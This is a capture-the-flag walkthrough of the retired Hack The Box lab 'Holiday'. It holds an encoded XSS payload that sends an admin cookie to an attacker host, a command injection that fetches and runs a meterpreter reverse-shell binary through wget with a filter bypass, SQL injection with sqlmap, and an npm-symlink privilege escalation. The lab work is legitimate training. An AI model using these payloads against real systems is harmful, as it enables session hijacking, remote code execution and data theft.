Today we are going to solve another CTF challenge “Holiday” which is available online for those who want to increase their skill in penetration testing and black box testing. Holiday is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.
Level: Expert
Task: find user.txt and root.txt file on victim’s machine.
Since these labs are online available therefore they have static IP and IP of sense is 10.10.10.25 so let’s begin with nmap port enumeration.
root@kali:~/htb/holiday# nmap -sC -sV 10.10.10.25
# Nmap 7.70 scan initiated Mon Dec 24 14:29:27 2018 as: nmap -sC -sV 10.10.10.25
Nmap scan report for 10.10.10.25
Host is up (0.028s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c3:aa:3d:bd:0e:01:46:c9:6b:46:73:f3:d1:ba:ce:f2 (RSA)
| 256 b5:67:f5:eb:8d:11:e9:0f:dd:f4:52:25:9f:b1:2f:23 (ECDSA)
|_ 256 79:e9:78:96:c5:a8:f4:02:83:90:58:3f:e5:8d:fa:98 (ED25519)
8000/tcp open http Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 24 14:29:58 2018 -- 1 IP address (1 host up) scanned in 31.16 seconds
We can observe we found port 22 and 8000 are open on target system.
As port 8000 is running http we open the IP address in the browser, and find a webpage.
We didn’t find anything on the webpage so we use dirb to enumerate the directories.
dirb http://10.10.10.25:8000
Dirb scan gives us a link to a directory called /login, we open the link and find a login page.
We capture the login request using burpsuite. We use random credentials as placeholder.
POST /login HTTP/1.1
Host: 10.10.10.25:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.25:8000/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
Upgrade-Insecure-Requests: 1
username=admin&password=12345
We use sqlmap to check if it is vulnerable to sql injection. After finding that it is vulnerable to sql injection, we use sqlmap to dump the database and find a username “RickA” and password hash.
c:\SQLMAP>python sqlmap.py -r sql.txt -T users --columns --dump --batch
[*] starting @ 14:53:27 /2018-12-24/
[14:53:27] [INFO] parsing HTTP request from 'sql.txt'
[14:53:27] [INFO] resuming back-end DBMS 'sqlite'
--snip--
Database: SQLite_masterdb
Table: users
[1 entry]
+----+--------+----------+----------------------------------+
| id | active | username | password |
+----+--------+----------+----------------------------------+
| 1 | 1 | RickA | fdc8cd4cff2c19e0d1022e78481ddf36 |
+----+--------+----------+----------------------------------+
[*] ending @ 14:54:08 /2018-12-24/
We use hashkiller.co.uk to decrypt the hash and find the password to the user.
We login using these credentials and we are redirected to a page with that looks like it contains user information.
We click on one of the UUID link and find a page that we can post notes for the users. It also shows that it will take up to 1 minute to post the note.
We try exploit the note function, by adding an <img src=http://10.10.14.19:8000/> note, and find it is vulnerable xss.
add note <img src=http://10.10.14.19:8000/>
c:\Python37>python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.25 - - [26/Dec/2018 12:29:34] "GET / HTTP/1.1" 200 -
As the notes are being read by administrator xss can be used to get the admin cookie. To run xss and run our payload we need to bypass the filter using java script function String.fromCharCode to run our payload. I created this scrip below to convert string to ascii code.
root@kali:~/htb/holiday# cat encode.py
def encodejs(ascii):
decimal_string = ""
for char in ascii:
decimal_string+= str(ord(char)) + ","
return decimal_string[:-1]
input = raw_input("Enter string to convert: ")
print encodejs(input)
root@kali:~/htb/holiday# python encode.py
Enter string to convert: window.addEventListener('DOMContentLoaded', function(e){window.location="http://10.10.14.19:8000/?cookie=" + encodeURI(document.getElementsByName("cookie")[0].value)})
119,105,110,100,111,119,46,97,100,100,69,118,101,110,116,76,105,115,116,101,110,101,114,40,39,68,79,77,67,111,110,116,101,110,116,76,111,97,100,101,100,39,44,32,102,117,110,99,116,105,111,110,40,101,41,123,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,49,57,58,56,48,48,48,47,63,99,111,111,107,105,101,61,34,32,43,32,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,34,99,111,111,107,105,101,34,41,91,48,93,46,118,97,108,117,101,41,125,41
We post the note to bypass the filter
<img src="/><script>eval(String.fromCharCode(119,105,110,100,111,119,46,97,100,100,69,118,101,110,116,76,105,115,116,101,110,101,114,40,39,68,79,77,67,111,110,116,101,110,116,76,111,97,100,101,100,39,44,32,102,117,110,99,116,105,111,110,40,101,41,123,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,49,57,58,56,48,48,48,47,63,99,111,111,107,105,101,61,34,32,43,32,101,110,99,111,100,101,85,82,73,40,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,78,97,109,101,40,34,99,111,111,107,105,101,34,41,91,48,93,46,118,97,108,117,101,41,125,41
))</script>" />
We setup our listener using python on port 80, as we will receive the the response of the page including the administrator cookie on this port.
After waiting for 1 minute we received the admin cookie.
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.25 - - [26/Dec/2018 12:29:34] "GET / HTTP/1.1" 200 -
10.10.10.25 - - [26/Dec/2018 12:41:35] "GET /?cookie=connect.sid=s%253Ac64d4c90-0902-11e9-891e-e13a9cf66087.WsPGvT2jevJ56f9jnrWmHNNIZg13aL2zh6O5044EgGA HTTP/1.1" 200 -
The cookie is url encoded we decode it with burp decoder and use it hijack the administrator session.
10.10.10.25 - - [26/Dec/2018 12:41:35] "GET /?cookie=connect.sid=s%253Ac64d4c90-0902-11e9-891e-e13a9cf66087.WsPGvT2jevJ56f9jnrWmHNNIZg13aL2zh6O5044EgGA HTTP/1.1" 200 -
url decoded as :connect.sid=s:c64d4c90-0902-11e9-891e-e13a9cf66087.WsPGvT2jevJ56f9jnrWmHNNIZg13aL2zh6O5044EgGA
We capture the webpage’s request using burpsuite. We change our cookie with that of administrator and forward it.
As soon as we forward the request, we are able to successfully hijack the administrator session.
We now go to /admin directory and find a page where there are options to export bookings and notes.
We capture the request using burpsuite, and check if it is vulnerable to any king of injection. After enumerating we find that this page is vulnerable to command injection.
We are unable to get a shell using web_delivery module of metaploit due to there being filters. Now we create a payload using msfvenom to upload into the target machine using command injection and get reverse shell.
root@kali:~/htb/holiday# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.19 LPORT=53 -f elf -o mpshell53
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: mpshell53
After creating a shell, we create a python http server to upload into the target machine.
Because “.” Is blacklisted so we convert the ipaddress into decimal number so that we can bypass the filter.
We upload the shell using wget command into the target machine and save it in /tmp directory.
GET /admin/export?table=notes%26cd+/tmp/%26%26wget+168431123/mpshell53 HTTP/1.1
As soon as we run the command we get a prompt that shell is uploaded.
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000
10.10.10.25 -- [30/dec/2018 15:03:23] "GET /mpshell53 HTTP/1/1" 200 -
We give our payload read, write and execute permission using command injection.
GET /admin/export?table=notes%26cd+/tmp/%26%26chmod+777+mpshell53 HTTP/1.1
Now we setup our listener using metasploit.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 10.10.14.19
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > run
We run the shell using command injection vulnerability on the target machine.
GET /admin/export?table=notes%26/tmp/mpshell53 HTTP/1.1
As soon as we run the shell we get a reverse shell.
We spawn a tty shell and take a look at the sudoers list and find that we can run /usr/bin/npm I * as root with no password.
python -c "import pty; pty.spawn('/bin/bash')"
sudo -l
Before trying to get root shell we first enumerate rest of the directories and find a file called “user.txt” in /home/algernon directory. We take a look at the content of the files and find the first flag.
Now we try to take root.txt we go to /app directory. We rename package.json to pack, and symlink /root/root.txt package.json
ln -s /root/root.txt package.json
We run /usr/bin/npm i * as root user and find the final flag.
algernon@holiday:~/app$ sudo /usr/bin/npm i *
sudo /usr/bin/npm i *
npm ERR! Linux 4.4.0-78-generic
npm ERR! argv "/usr/bin/nodejs" "/usr/bin/npm" "i" "hex.db" "index.html" "index.html.1" "index.html.2" "index.html.3" "index.html.4" "index.html.5" "index.html.6" "index.js" "layouts" "mpshell53" "mpshell53.1" "mpshell53.2" "mpshell53.3" "mpshell53.4" "mpshell53.5" "mpshell53.6" "n" "nc" "nc.1" "nc.2" "nc.3" "ncshell" "ncshell.1" "node_modules" "pack" "package.json" "py" "setup" "shell" "shell.1" "shell.2" "shell.3" "shell.4" "static" "user" "user.1" "views"
npm ERR! node v6.10.3
npm ERR! npm v3.10.10
npm ERR! file /home/algernon/app/package.json
npm ERR! code EJSONPARSE
npm ERR! Failed to parse json
npm ERR! Unexpected token 'a' at 1:1
npm ERR! a844--snipcode--2e8
npm ERR! ^
npm ERR! File: /home/algernon/app/package.json
npm ERR! Failed to parse package.json data.
npm ERR! package.json must be actual JSON, not just JavaScript.
npm ERR!
npm ERR! This is not a bug in npm.
npm ERR! Tell the package author to fix their package.json file. JSON.parse
npm ERR! Please include the following file with any support request:
npm ERR! /home/algernon/app/npm-debug.log
Author: Jacco Straathof